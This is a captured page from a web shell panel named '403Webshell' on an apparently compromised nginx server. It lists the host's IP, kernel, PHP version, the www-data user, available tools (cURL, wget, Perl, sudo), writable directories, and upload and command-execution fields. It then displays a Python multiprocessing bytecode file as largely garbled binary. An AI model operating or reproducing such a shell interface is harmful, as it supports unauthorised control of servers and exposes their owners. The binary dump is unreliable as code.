403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/usr/lib/python3.14/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/lib/python3.14/multiprocessing/__pycache__/managers.cpython-314.pyc
+
��3jR��
�	�.RdOt^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
t
^RI
Ht^RIH
t
^RIHt^RIHtHtHt^R	IHt^R
IHt^RIHt^RIHt^R
IHtRt]P5R4Rt]P:!]P]4ReUu.uFp]!]!/V4!44NK	upt Rt!] Ft"]P:!]"]!4K	A"A !RR]#4t$Rf/3Rlt%Rt&!RR]'4t(Rt)Rt*!RR]#4t+!RR]#4t,R]PZ]P\3R]P^]P`3/t1!R R]#4t2!R!R"]34t4!R#R]#4t5R$t6/3R%lt7RgR&lt8!R'R(]#4t9!R)R*]#4t:RhR+lt;!R,R-]54t<!R.R/]54t=!R0R1]=4t>!R2R3]54t?!R4R5]54t@!R6R7]54tA!R8R9]54tB]7!R:Ri4tC!R;R<]C4tD]P�P�P;]C4]7!R=Rj4tGR>R?/]GnH!R@RA]G4tI]P�P�P;]G4]7!RBRk4tK!RCRD]K4tL]P�P�P;]K4]7!RERl4tM]7!RFRm4tNRGRLRJRLRKRLRHR?RIR?/]NnH!RMRF]N4tO!RNR]24tP]PP;RO]P�4]PP;RP]P�4]PP;RQ]P�]?4]PP;RR]P�]=4]PP;RS]P�]=4]PP;RT]P�]=4]PP;RU]P�]=4]PP;RV]P�]>4]PP;RW]P�]@4]PP;RX]P�]O4]PP;RY]Z]D4]PP;RZ][]I4]PP;R[]3]L4]PP;R*]:]B4]PP;R\];]M4]PP;R(]9]A4]PP;R?]<RR]7]PP;RLRR^7]'d#!R_R`4t\!RaRb]+4t]!RcR]24t^R#R# ]dRtELHi;iuupi)n�BaseManager�SyncManager�	BaseProxy�TokenN)�getpid)�
format_exc)�
connection)�	reduction�get_spawning_popen�ProcessError)�pool)�process)�util)�get_context)�
shared_memoryT�SharedMemoryManagerFc�Z�\PVPVP433#�N)�array�typecode�tobytes)�as&�//usr/lib/python3.14/multiprocessing/managers.py�reduce_arrayr0s ���;�;����Q�Y�Y�[�1�1�1�c�&�\\V433#r)�list��objs&r�rebuild_as_listr5s���$�s�)���rc�@a�]tRt^?toRtRtRtRtRtRt	Rt
VtR#)	rz+
Type to uniquely identify a shared object
c�0�WVuVnVnVnR#r��typeid�address�id)�selfr#r$r%s&&&&r�__init__�Token.__init__Es��06��,���d�l�D�Grc�H�VPVPVP3#rr"�r&s&r�__getstate__�Token.__getstate__Hs�����T�\�\�4�7�7�3�3rc�0�VwVnVnVnR#rr"�r&�states&&r�__setstate__�Token.__setstate__Ks��/4�,���d�l�D�Grc��VPP:RVP:RVP:RVP:R2#)z(typeid=z
, address=z, id=�))�	__class__�__name__r#r$r%r*s&r�__repr__�Token.__repr__Ns-�����'�'����d�l�l�D�G�G�M�	Mr)r$r%r#Nr")r5�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__r'r+r0r6�__static_attributes__�__classdictcell__��
__classdict__s@rrr?s-�����,�I�E�4�5�M�Mrc��VPWW434VP4wrVVR8XdV#\WV4h ?i;i)zD
Send a message to manager using connection `c` and return response
�#RETURN)�send�recv�convert_to_error)�cr%�
methodname�args�kwds�kind�results&&&&&  r�dispatchrLVsD���F�F�B�D�'�(��6�6�8�L�D��y���
���t�,�,���s�;�>c	��VR8XdV#VR9d_\V\4'g%\RPW\	V444hVR8Xd\RV,4#\V4#\
RPV44#)�#ERROR�#UNSERIALIZABLEz.Result {0!r} (kind '{1}') type is {2}, not strzUnserializable message: %s
zUnrecognized message type {!r})�
#TRACEBACKrO)�
isinstance�str�	TypeError�format�type�RemoteError�
ValueError)rJrKs&&rrErEcs����x���
�	
�2�	2��&�#�&�&��@�G�G��$�v�,�0�1�
1��$�$��=��F�G�G��v�&�&��:�A�A�$�G�H�Hrc�&a�]tRt^rtoRtRtVtR#)rVc�V�R\VP^,4,R,#)�
zK---------------------------------------------------------------------------zM
---------------------------------------------------------------------------
)rRrHr*s&r�__str__�RemoteError.__str__ss��$�s�4�9�9�Q�<�'8�8�6�A�Br�N)r5r8r9r:r[r=r>r?s@rrVrVrs����C�CrrVc��.p\V4F2p\W4p\V4'gK!VPV4K4	V#)z,
Return a list of names of methods of `obj`
)�dir�getattr�callable�append)r�temp�name�funcs&   r�all_methodsrfzs=���D��C����s�!���D�>�>��K�K�����Krc�`�\V4Uu.uFq^,R8wgKVNK	up#uupi)zH
Return a list of names of methods of `obj` which do not start with '_'
�_)rf)rrds& r�public_methodsri�s-��)��-�@�-�T�a��C��D�D�-�@�@��@s�+�+c�a�]tRt^�toRt.ROtRtRtRtRt	Rt
RtRtR	t
R
tR]
R]R
]/tRtRtRtRtRtRtRtRtRtRtVtR#)�ServerzE
Server class which runs in a process controlled by a manager object
c��\V\4'g%\RPV\	V444hWn\P!V4Vn\V,wrVV!V^�R7Vn
VPPVnRR/Vn/Vn
/Vn\P !4VnR#)z&Authkey {0!r} is type {1!s}, not bytes)r$�backlog�0N�Nr])rQ�bytesrSrTrU�registryr
�AuthenticationString�authkey�listener_client�listenerr$�	id_to_obj�id_to_refcount�id_to_local_proxy_obj�	threading�Lock�mutex)r&rqr$rs�
serializer�Listener�Clients&&&&&  rr'�Server.__init__�s����'�5�)�)��8�?�?��T�'�]�,�-�
-�!�
��3�3�G�<���*�:�6���!��#�>��
��}�}�,�,����z�*��� ���%'��"��^�^�%��
rc��\P!4VnV\P!4n\P!VPR7pRVnVP4VPP4'gVPP^4K=\P\P 8wdI\"P$!R4\P \n\P&\n\P*!^4R# \\3dL�i;i \P\P 8wdI\"P$!R4\P \n\P&\n\P*!^4i;i)z
Run the server forever
)�targetTzresetting stdout, stderrN)ry�Event�
stop_eventr
�current_process�_manager_server�Thread�accepter�daemon�start�is_set�wait�KeyboardInterrupt�
SystemExit�sys�stdout�
__stdout__r�debug�
__stderr__�stderr�exit)r&r�s& r�
serve_forever�Server.serve_forever�s��$�/�/�+���48����!�1�	� �'�'�t�}�}�=�H�"�H�O��N�N��
��/�/�0�0�2�2��O�O�(�(��+�3�
�z�z�S�^�^�+��
�
�5�6� �^�^��
� �^�^��
��H�H�Q�K��&�z�2�
��
���z�z�S�^�^�+��
�
�5�6� �^�^��
� �^�^��
��H�H�Q�K�s6�8E�/D0�D0�,E�0E�E�E�E�BG
c���VPP4p\P!TP
T3R7pRTnTP4KX \dKfi;i)T�r�rH)ru�accept�OSErrorryr��handle_requestr�r�)r&rF�ts&  rr��Server.accepter�s\���
��M�M�(�(�*��� � ��(;�(;�1�$�G�A��A�H�
�G�G�I��	�
��
�s�A�A(�'A(c���Rp\P!WP4\P!WP4VP	4pVwr4rVW@P
9gQRV,4h\
W4pV!V.VO5/VBpRV3p	TPT	4R# \dR\43p	L-i;i \dR\43p	LJi;i \dp
TPR\434M \dMi;i\P!RT	4\P!RT4\P!RT
4Rp
?
R#Rp
?
ii;i)Nz%r unrecognizedrBrPzFailure to send message: %rz ... request was %r� ... exception was %r)r�deliver_challengers�answer_challengerD�publicr`�	ExceptionrrCr�info)r&rF�request�ignore�funcnamerHrIrerK�msg�es&&         r�_handle_request�Server._handle_request�sC����	*��(�(��L�L�9��'�'��<�<�8��f�f�h�G�+2�(�F�d��{�{�*�H�,=��,H�H�*��4�*�D�
*��a�/�$�/�$�/��!�&�)��		2�
�F�F�3�K��
�
3�#�Z�\�2��
3���	/����.�C�	/���	2�
�����j�l�3�4���
��
���I�I�3�S�9��I�I�+�W�5��I�I�-�q�1�1��	2�s[�A>C�B'�C!�'C�C�C�C�!E*�-D	�E%�	D�E%�D�AE%�%E*c��VPV4VP4R# \dLi;i TP4i;i)z
Handle a new connection
N)r�r��close�r&�conns&&rr��Server.handle_request�s@��	�� � ��&�

�J�J�L��	�	��	��
�J�J�L�s�%�3�6�3�6�Ac�h�\P!R\P!4P4VP
pVPpVPpVPP4'g�R;rVV!4pVwr�r�WH,wrkpY[9d!\RT:R\T4:RT:24h\Ye4pT!T	/T
BpT;'dTPTR4pT'd5TP!TTT4wpp\#TTP$T4pRTT33pMRT3pT!X4K�R# \d3p
TPT,wrkpRp
?
L� \dT
hi;iRp
?
ii;i \&dpRT3pRp?LbRp?ii;i \dZXfR	\)43pL�TP*T,pT!YXX.X	O5/X
BpRT3pL� \&dR	\)43pL�i;i\,dO\P!R
\P!4P4\.P0!^4EL$\&dR	\)43pEL=i;i \&dT!R\)434EK5i;i \&d�p\P2!R\P!4P4\P2!R
X4\P2!RT4TP54\.P0!^4Rp?EK�Rp?ii;i)zA
Handle requests from the proxies in a particular process/thread
z$starting server thread to service %rNzmethod z of z object is not in exposed=�#PROXYrBrNrPz$got EOF -- exiting thread serving %rrOzexception in thread serving %rz ... message was %rr�)rr�ry�current_threadrdrDrCrvr�r��KeyErrorrx�AttributeErrorrUr`�get�createrr$r�r�fallback_mapping�EOFErrorr�r�r�r�)r&r�rDrCrvrGrr��identrHrI�exposed�	gettypeid�ke�function�resr#�rident�rexposed�tokenr�r��
fallback_funcrKs&&                      r�serve_client�Server.serve_client�s���	
�
�
�9��+�+�-�2�2�	4��y�y���y�y���N�N�	��/�/�(�(�*�*�5
3�#'�'�
��&��07�-��4�!�.7�.>�+�C�)��,�(�#�T�#�Y��9���
#�3�3��/�"�D�1�D�1�C�'�J�J�9�=�=��T�+J�F��+/�;�;�t�V�S�+I�(��� %�f�d�l�l�F� C��'�(�E�):�;��(�#�.��.
�<���I�w+�� �!�!� �6�6�u�=�0��i��#�!� ��!��	!��"!�(�#�Q�-�C��(��"�
;��%�'���6�C�;�(,�(=�(=�j�(I�
�!.� ��s�"�59�"�=A�"�� )�&�1���$�;�+�Z�\�:��;���
��
�
�A�$�3�3�5�:�:�<�������
3�#�Z�\�2��
3��!�<��+�Z�\�:�;�;�<���
��	�	�:�!�0�0�2�7�7�9��	�	�/��5��	�	�1�1�5��
�
���������

�s��:F�
D:�1F�E:�#F�33F�'F�.I-�:E7�E!�F�!E/�/E2�2E7�7F�:F�F�	F�F�F�I*�4%G�G6�2I*�5G6�6I*�AI*�I*�
I*�)I*�-J�
J�J�J�L1�BL,�,L1c��V#rr]�r&r�r�rs&&&&r�fallback_getvalue�Server.fallback_getvalueCs���
rc��\V4#r�rRr�s&&&&r�fallback_str�Server.fallback_strFs���3�x�rc��\V4#r)�reprr�s&&&&r�
fallback_repr�Server.fallback_reprIs���C�y�rr[r6�	#GETVALUEc��R#rr]�r&rFs&&r�dummy�Server.dummyRs��rc���VP;_uu_4.p\VPP44pVP	4VFbpVR8wgKVPRV:RVPV,:R\
VPV,^,4R,:24Kd	RPV4uuRRR4# +'giR#;i)z?
Return some info --- useful to spot problems with refcounting
rnz  z:       refcount=z
    :N�KNrZN)	r{rrw�keys�sortrbrRrv�join)r&rFrKr�r�s&&   r�
debug_info�Server.debug_infoUs���
�Z�Z�Z��F���+�+�0�0�2�3�D��I�I�K����C�<��M�M�#(�$�*=�*=�e�*D�*D�#&�t�~�~�e�'<�Q�'?�#@��#E�#G�H��
�9�9�V�$��Z�Z�Z�s�?C�A*C�C	c�,�\VP4#)z
Number of shared objects
)�lenrwr�s&&r�number_of_objects�Server.number_of_objectses��
�4�&�&�'�'rc��\P!R4VPR4TP
P
4R# ^RIpTP	4L4;i TP
P
4i;i)z
Shutdown this process
z!manager received shutdown messageN�rBN)rr�rC�	traceback�	print_excr��set)r&rFr�s&& r�shutdown�Server.shutdownlsZ��	"��J�J�:�;�
�F�F�$�%�

�O�O���!��		"�����!���O�O���!�s�'A�A�A � A<c
���VP;_uu_4VPV,wrVrxVf.V'g\V4^8wd\R4hV^,p	MV!V/VBp	Vf\	V	4pVeV\V\4'g%\RPV\V444h\V4\V4,pR\V	4,p
\P!RW*4V	\V4V3VPV
&W�P 9d^VP V
&RRR4VP#VX
4V
\%X43# +'giL/;i)z.
Create a new shared object and return its id
Nz4Without callable, must have one non-keyword argumentz,Method_to_typeid {0!r}: type {1!s}, not dictz%xz&%r callable returned object with id %r)r{rqr�rWrirQ�dictrSrTrUrr%rr�r�rvrw�incref�tuple)r&rFr#rHrIrar��method_to_typeid�	proxytyperr�s"""*,      rr��
Server.createysB���Z�Z�Z��m�m�F�+�
;�H�/����C��I��N�$�N�P�P��1�g����-��-����(��-���+�!�"2�D�9�9�#�F�M�M�,�d�3C�.D�F�G�G��w�-�$�/?�*@�@���2�c�7�N�E��J�J�?��O�%(�#�g�,�8H�$I�D�N�N�5�!��/�/�/�-.��#�#�E�*�7�:	
���A�u���e�G�n�$�$�=�Z�s�"E�C8E�E'	c�\�\VPVP,^,4#)z<
Return the methods of the shared object indicated by token
)r�rvr%)r&rFr�s&&&r�get_methods�Server.get_methods�s!���T�^�^�E�H�H�-�a�0�1�1rc�~�V\P!4nVPR4VP	V4R#)z-
Spawn a new thread to serve this connection
Nr�)ryr�rdrCr�)r&rFrds&&&r�accept_connection�Server.accept_connection�s0��+/�	� � �"�'�	��� �!����!�rc��VP;_uu_4VPV;;,^,
uu&RRR4R# \dcpY P9dL^TPT&TPT,TPT&\
P!RT4Rp?LpThRp?ii;i +'giR#;i)�z&Server re-enabled tracking & INCREF %rN)r{rwr�rxrvrr�)r&rFr�r�s&&& rr��
Server.incref�s���
�Z�Z�Z�

��#�#�E�*�a�/�*��Z���
�
�6�6�6�12�D�'�'��.��2�2�5�9��N�N�5�)��J�J�G��O�O��H��
���Z�Z�s5�B0�A�B-�AB(�!B0�&B(�(B-�-B0�0C	c
��W P9d*W P9d\P!RV4R#VP;_uu_4VPV,^8:d>\RP
W PV,VPV,44hVPV;;,^,uu&VPV,^8XdVPVRRR4W P9dSRVPV&\P!RV4VP;_uu_4VPVRRR4R#R# +'giLt;i +'giR#;i)zServer DECREF skipping %rNz+Id {0!s} ({1!r}) has refcount {2:n}, not 1+zdisposing of obj with id %r)Nr]N)rwrxrr�r{�AssertionErrorrTrv)r&rFr�s&&&r�decref�
Server.decref�s���+�+�+��/�/�/��J�J�2�E�:��
�Z�Z�Z��"�"�5�)�Q�.�$�A�H�H��~�~�e�4��+�+�E�2�4�5�5�
����&�!�+�&��"�"�5�)�Q�.��'�'��.���+�+�+�%5�D�N�N�5�!��J�J�4�e�<������N�N�5�)���,��Z��$���s�BE�:E'�E$	�'E8	)	r$rsrxrvrwrur{rqr�N)	r�r�r�r�r�r�r�r�r�)r5r8r9r:r;r�r'r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r=r>r?s@rrkrk�s������N�F�&�$�,�2�<
�O�b���	�,��=��%�
��
�%� (�"�"%�H2���"*�*rrkc�(�]tRtRtR.t^t^t^tRtR#)�Statei��valuer]N)	r5r8r9r:r<�INITIAL�STARTED�SHUTDOWNr=r]rrr�r��s���	�I��G��G��Hrr��pickle�	xmlrpclibc��a�]tRtRtoRt/t]tRRR/RlltRt	Rt
RR	lt]RR
l4t
RtRRltR
tRtRtRt]R4t]R4t]RRl4tRtVtR#)ri�z
Base class for managers
N�shutdown_timeoutg�?c�h�Vf \P!4PpWn\P!V4Vn\
4Vn\PVPn	W0n
\V,wVnVn
T;'g\4VnWPnR#r)r
r�rs�_addressrr�_authkeyr��_staterr��_serializerrt�	_Listener�_Clientr�_ctx�_shutdown_timeout)r&r$rsr|�ctxrs&&&&&$rr'�BaseManager.__init__�s{���?��-�-�/�7�7�G��
��4�4�W�=��
��g���!�M�M�����%��'6�z�'B�$������(�(�;�=��	�!1�rc���VPP\P8wd�VPP\P8Xd\R4hVPP\P8Xd\R4h\RPVPP44h\VPVPVPVP4#)zH
Return server object with serve_forever() method and address attribute
�Already started server�Manager has shut down�Unknown state {!r})
r
r�r�rrrrrTrk�	_registryrr	rr*s&r�
get_server�BaseManager.get_servers����;�;����
�
�-��{�{� � �E�M�M�1�"�#;�<�<����"�"�e�n�n�4�"�#:�;�;�"�(�/�/����0A�0A�B�D�D��d�n�n�d�m�m��m�m�T�%5�%5�7�	7rc���\VP,wrV!VPVPR7p\	VRR4\
PVPnR#)z.
Connect manager object to the server process
�rsNr�)	rtrrr	rLr�rr
r�)r&r}r~r�s&   r�connect�BaseManager.connectsG��+�4�+;�+;�<����d�m�m�T�]�]�;����t�W�%�!�M�M����rc
�<�VPP\P8wd�VPP\P8Xd\R4hVPP\P8Xd\R4h\RPVPP44hVe\V4'g\R4h\P!RR7wr4VPP\V4PVP VP"VP$VP&WAV3R7VnR	P+R
VP(P,44p\V4P.R,V,VP(nVP(P34VP54VP74VnVP54\PVPn\8P:!V\V4P<VP(VP"VP$VPVP>VP@3^R7Vn!R#)
z0
Spawn a server process for this manager object
rrrNzinitializer must be a callableF)�duplexr��:c3�8"�TFp\V4x�K	R#5irr�)�.0�is& r�	<genexpr>�$BaseManager.start.<locals>.<genexpr>4s���A�)@�A��Q���)@�s��-�rH�exitpriority)"r
r�r�rrrrrTrarSr�Piper�ProcessrU�_run_serverrrr	r�_processr��	_identityr5rdr�r�rDr�Finalize�_finalize_managerr
rr�)r&�initializer�initargs�reader�writerr�s&&&   rr��BaseManager.starts����;�;����
�
�-��{�{� � �E�M�M�1�"�#;�<�<����"�"�e�n�n�4�"�#:�;�;�"�(�/�/����0A�0A�B�D�D��"�8�K�+@�+@��<�=�=�$����6����	�	�)�)���:�)�)��.�.�$�-�-�����"�"�F��C�*���
�
���A����)@�)@�A�A��!�$�Z�0�0�C�7�%�?��
�
���
�
����	�������
��
�����"�M�M������
�
��$�t�*�.�.��-�-�����
�
�t�{�{��,�,�� 6� 6�8��	��
rc�\�\P!\P\P4VeV!V!VPWW44pVP	VP
4VP
4\P!RVP
4VP4R#)z0
Create a server, report its address and run it
Nzmanager serving at %r)
�signal�SIGINT�SIG_IGN�_ServerrCr$r�rr�r�)	�clsrqr$rsr|r2r/r0�servers	&&&&&&&& rr*�BaseManager._run_serverFsv��	�
�
�f�m�m�V�^�^�4��"���"����X��D��	���F�N�N�#�����	
�	�	�)�6�>�>�:����rc�^�VPP\P8XgQR4hVP	VP
VPR7p\VRRV3V,V4wrVVP4\WP
V4V3# TP4i;i)z@
Create a new shared object; return the token and exposed tuple
zserver not yet startedrNr�)
r
r�r�rr
rr	rLr�r)r&r#rHrIr�r%r�s""*,   r�_create�BaseManager._create]s����{�{� � �E�M�M�1�K�3K�K�1��|�|�D�M�M�4�=�=�|�A��	�"�4��x�&��4���N�K�B��J�J�L��V�]�]�B�/��8�8��
�J�J�L�s�B�B,c��VPeGVPPV4VPP4'g
RVnR#R#R#)z3
Join the manager process (if it has been spawned)
N)r+r��is_alive�r&�timeouts&&rr��BaseManager.joinisD���=�=�$��M�M���w�'��=�=�)�)�+�+� $��
�,�%rc��VPVPVPR7p\VRR4VP	4# TP	4i;i)zC
Return some info about the servers shared objects and connections
rNr��r
rr	rLr�r�s& r�_debug_info�BaseManager._debug_inforsB���|�|�D�M�M�4�=�=�|�A��	��D�$��5��J�J�L��D�J�J�L���A�Ac��VPVPVPR7p\VRR4VP	4# TP	4i;i)z%
Return the number of shared objects
rNr�rEr�s& r�_number_of_objects�BaseManager._number_of_objects|sC���|�|�D�M�M�4�=�=�|�A��	��D�$�(;�<��J�J�L��D�J�J�L�rHc��VPP\P8XdVP	4VPP\P
8wd�VPP\P8Xd\
R4hVPP\P8Xd\
R4h\
RPVPP44hV#)zUnable to start serverrr)	r
r�r�rr�rrrrTr*s&r�	__enter__�BaseManager.__enter__�s����;�;����
�
�-��J�J�L��;�;����
�
�-��{�{� � �E�M�M�1�"�#;�<�<����"�"�e�n�n�4�"�#:�;�;�"�(�/�/����0A�0A�B�D�D��rc�&�VP4R#r)r��r&�exc_type�exc_val�exc_tbs&&&&r�__exit__�BaseManager.__exit__�s���
�
�rc�(�VP!4'Ed\P!R4V!WR7p\VRR4VP	4TP!TR7TP!4'd�\P!R4\TR4'd�\P!R4TP!4TP!TR7TP!4'd9\P!R	4TP!4TP!4\PVn\PVR# TP	4i;i \
dEL'i;i \dR#i;i)
zA
Shutdown the manager process; will be registered as a finalizer
z#sending shutdown message to managerrNr�)rBzmanager still alive�	terminatez'trying to `terminate()` manager processz#manager still alive after terminate)r@rr�rLr�r�r��hasattrrW�killr�rr�r�_address_to_localr�)r
r$rsr/r
rr�s&&&&&& rr.�BaseManager._finalize_manager�s$��������I�I�;�<�
��w�8��!��T�4��4��J�J�L�
�L�L�!1�2����!�!��	�	�/�0��7�K�0�0��I�I�G�H��%�%�'��L�L�)9�:��'�'�)�)��	�	�"G�H����������n�n���	��+�+�G�4��%�J�J�L���
��
��$�	��	�s:�	E0�
E�E0�F�E-�-E0�0E?�>E?�F�Fc��VP#r)rr*s&rr$�BaseManager.address�s���}�}�rc� aa�RVP9d VPP4VnSf\oT;'g\	SRR4pT;'g\	SRR4pV'de\VP
44FGwrx\V4\JgQRV,4h\V4\JdK;QRV,4h	W$VS3VPS&V'dVV3Rlp	SV	n	\VSV	4R#R#)z)
Register a typeid with the manager type
rN�	_exposed_�_method_to_typeid_z%r is not a stringc�&<�\P!RS4VP!S.VO5/VBwr4S!W0PVVPVR7pVPVPVPR7p\VRRVP34V#)z)requesting creation of a shared %r object��managerrsr�rNr�)	rr�r=rr	r
r$rLr%)	r&rHrIr��exp�proxyr�r�r#s	"*,    ��rrc�"BaseManager.register.<locals>.temp�s����
�
�F��O�!�\�\�&�@�4�@�4�@�
��!��+�+�T� �M�M�3����|�|�E�M�M�4�=�=�|�I����t�X����{�;��r)�__dict__r�copy�	AutoProxyr`r�itemsrUrRr5�setattr)
r9r#rar�r�r��
create_method�keyr�rcs
&f&f&&&   r�register�BaseManager.register�s�����c�l�l�*��M�M�.�.�0�C�M���!�I��B�B�W�Y��T�B��+�J�J�"�9�.B�D�I�	��"�#3�#9�#9�#;�<�
���C�y�C�'�C�)=��)C�C�'��E�{�c�)�G�+?�%�+G�G�)�=�

�/��!��
�
�f���	
�#�D�M��C���&�r)
r
rrr	rr+rrr
r�)NNrNror)NNNNT)r5r8r9r:r;rrkr8r'rrr��classmethodr*r=r�rFrJrMrT�staticmethodr.�propertyr$rnr=r>r?s@rrr�s�������I��G�2�/2�2�
7�*�)�V����,
9�%������ �� �D�����%'��%'rc�,a�]tRtRtoRtRtRtVtR#)�ProcessLocalSeti�c�6�\P!VR4R#)c�"�VP4#r��clearrs&r�<lambda>�*ProcessLocalSet.__init__.<locals>.<lambda>�s
��3�9�9�;rN)r�register_after_forkr*s&rr'�ProcessLocalSet.__init__�s��� � ��'>�?rc��\V4R3#ro)rUr*s&r�
__reduce__�ProcessLocalSet.__reduce__�s���D�z�2�~�rr]N)r5r8r9r:r'r~r=r>r?s@rrtrt�s����@��rrtc�a�]tRtRtoRt/t]P!4t^t	RRlt
RtR/3RltRt
Rt]R	4tR
tRtRtR
tRtRtVtR#)ri�z&
A base for proxies of shared objects
Nc���\P;_uu_4\PPVPR4pVf=\
P!4\43pV\PVP&\PVn	\;P^,
unRRR4X^,Vn
V^,VnWnVPPVnW0nW n\"V,^,VnWpnVe\(P*!V4VnMNVPeVPP,VnM$\(P.!4P0VnV'dVP34\
P4!V\P64R# +'giEL&;ir)r�_mutexrZr�r$r�ForkAwareLocalrt�_next_serial�_serial�_tls�_all_serials�_tokenr%�_id�_managerrrtr
�_owned_by_managerr
rrr	r�rs�_increfr{�_after_fork)	r&r�r|rcrsr�r��
manager_owned�tls_serialss	&&&&&&&& rr'�BaseProxy.__init__�sH��
�
�
�
�#�5�5�9�9�%�-�-��N�K��"�"�1�1�3�_�5F�F��=H�	�+�+�E�M�M�:�$�1�1�D�L��"�"�a�'�"�� ��N��	�
(��N������;�;�>�>����
�%��&�z�2�1�5���"/����#�8�8��A�D�M�
�]�]�
&� �M�M�2�2�D�M�#�3�3�5�=�=�D�M���L�L�N�� � ��y�'<�'<�=�Q�
�
�s�BG�G$	c��\P!R4\P!4Pp\
P!4PR8wd.VR\
P!4P,,
pVPVPPVPR7p\VRRV34W Pn
R#)zmaking connection to manager�
MainThread�|rNr�)rr�r
r�rdryr�r
r�r$r	rLr�r)r&rdr�s&  r�_connect�BaseProxy._connect*s����
�
�1�2��&�&�(�-�-���#�#�%�*�*�l�:��C�)�2�2�4�9�9�9�9�D��|�|�D�K�K�/�/����|�G����t�0�4�'�:�#�	�	�rc��VPPpVPVPWV34VP4wrVVR8XdV#VR8Xd�VwrxVPPVP,R,p	VPP VnV	!W�P"VPVP$VR7p
VP'VP VP$R7p\)VRRVP*34V
#\-WV4h \d_\P!R\
P!4P4TP4TPPpELmi;i ?i;i)	zF
Try to call a method of the referent and return a copy of the result
z#thread %r does not own a connectionrBr�rbrNr����)r�rr�rr�ryr�rdr�rCr�rDr�rr#r�r$rr	r
rLr%rE)r&rGrHrIr�rJrKr�r�r�res&&&&       r�_callmethod�BaseProxy._callmethod3s=��	(��9�9�'�'�D�	
�	�	�4�8�8�Z�t�4�5��y�y�{����9���M�
�X�
�#�N�G��
�
�/�/����=�b�A�I� �K�K�/�/�E�M���'�'�����
�
�w��E��<�<��
�
�t�}�}�<�E�D��T�4��E�H�H�;�7��L�	�"�4�0�0��/�	(��J�J�<� �/�/�1�6�6�
8��M�M�O��9�9�'�'�D�		(��2�s�D�F	�A%F�F�	Fc�$�VPR4#)z)
Get a copy of the value of the referent
r��r�r*s&r�	_getvalue�BaseProxy._getvalueTs������,�,rc���VP'd.\P!RVPP4R#VPVPPVPR7p\VRRVP34\P!RVPP4VPPVP4VP;'dVPPp\P!V\ P"VPVPVPVVP$VPVP
3^
R7VnR#)z%owned_by_manager skipped INCREF of %rNrr�z	INCREF %rr&)r�rr�r�r%r
r$r	rLr�r��addr�r�r
r-r�_decrefr��_close)r&r�r/s&  rr��BaseProxy._increfZs����!�!�!��J�J�>������O���|�|�D�K�K�/�/����|�G����t�X����{�3��
�
�;������/������d�l�l�+��
�
�6�6�$�-�-�"6�"6���m�m��)�#�#��+�+�t�|�|�T�]�]�E��)�)�T�.�.����>��	��rc��VPV4Ve VP\P8XdQ\P
!RVP4V!VPVR7p\VRRVP34M!\P
!RVP4V'gg\VR4'dS\P
!R\P!4P4VPP4V=R#R#R# \d"p\P
!RT4Rp?L�Rp?ii;i)Nz	DECREF %rrr�z... decref failed %sz%DECREF %r -- manager already shutdownrz-thread %r has no more proxies so closing conn)�discardr�r�rrr�r%r$rLr�rXryr�rdrr�)	r��serialrsr/�tls�idsetr
r�r�s	&&&&&&&  rr��BaseProxy._decrefns���
�
�
�f���=�E�K�K�5�=�=�8�
6��
�
�;����1��u�}�}�g�>����t�X����{�;�

�J�J�>����I����l�3�3��J�J�F� �/�/�1�6�6�
8��N�N� � �"���	4�u���
6��
�
�1�1�5�5��
6�s�AD�E�!D=�=Ec��RVnVP4R# \d)p\P!RT,4Rp?R#Rp?ii;i)Nzincref failed: %s)r�r�r�rr�)r&r�s& rr��BaseProxy._after_fork�s<����
�	/��L�L�N���	/��I�I�)�A�-�.�.��	/�s��A�A	�	Ac��/p\4eVPVR&\VRR4'd4VPVR&\\
VPVPV33#\\V4VPVPV33#)Nrs�_isautoFr�)	r
r	r`r_�RebuildProxyrir�rrU�r&rIs& rr~�BaseProxy.__reduce__�s�������+�"�m�m�D��O��4��E�*�*�"�n�n�D��O� �����T�-=�-=�t�D�F�
F�!��$�Z����d�.>�.>��E�G�
Grc�"�VP4#r)r�)r&�memos&&r�__deepcopy__�BaseProxy.__deepcopy__�s���~�~��rc�z�R\V4PVPP\	V43,#)z<%s object, typeid %r at %#x>)rUr5r�r#r%r*s&rr6�BaseProxy.__repr__�s3��.��T�
�#�#�T�[�[�%7�%7��D��B�C�	Crc�r�VPR4# \d\T4RRR,u#i;i)zF
Return representation of the referent (or a fall-back if that fails)
r6Nz; '__str__()' failed>r�)r�r�r�r*s&rr[�BaseProxy.__str__�s=��	=��#�#�J�/�/���	=���:�c�r�?�%<�<�<�	=�s�� 6�6)r
r�r	r�r�r�r�r�rr�r��NNNTFr])r5r8r9r:r;rZr�ForkAwareThreadLockr�r�r'r�r�r�r�rqr�r�r~r�r6r[r=r>r?s@rrr�s}�������
�
%�
%�
'�F��L�*>�X$�,.�B��B-��(����0/�G� �C�=�=rc���\\P!4RR4pV'd�VPVP8Xdl\P
!RV4RVR&VPVP9d5VPVP,VPVP&VPRR4;'d&\\P!4RR4'*pV!W3RV/VB#)	z-
Function used for unpickling proxy objects.
r�Nz*Rebuild a proxy owned by manager, token=%rTr�r��_inheritingF)
r`r
r�r$rr�r%rxrv�pop)rer�r|rIr:r�s&&&&  rr�r��s����W�,�,�.�0A�4�
H�F�
�&�.�.�E�M�M�1��
�
�?��G� $��_���8�8�6�7�7�7�� � ����*�
�(�(����2�	
����4� �	E�	E��G�+�+�-�}�e�D�D����9�&�9�D�9�9rc���\V4pW V3,# \dMi;i/pTFp\RT:RT:R2T4K	\T\3T4pYnYRY3&T#)z:
Return a proxy type whose methods are given by `exposed`
zdef z:(self, /, *args, **kwds):
        return self._callmethod(z
, args, kwds))r�r��execrUrr_)rdr��_cache�dic�meth�	ProxyTypes&&&   r�
MakeProxyTyper��s����G�n�G�
��W�o�&�&���
��
��
�C����6:�D�B�CF�	H���T�I�<��-�I�!��'�D�?���s�	�%�%c	��\V,^,pVf5V!VPVR7p\VRRV34pVP4VfVe
VPpVf \
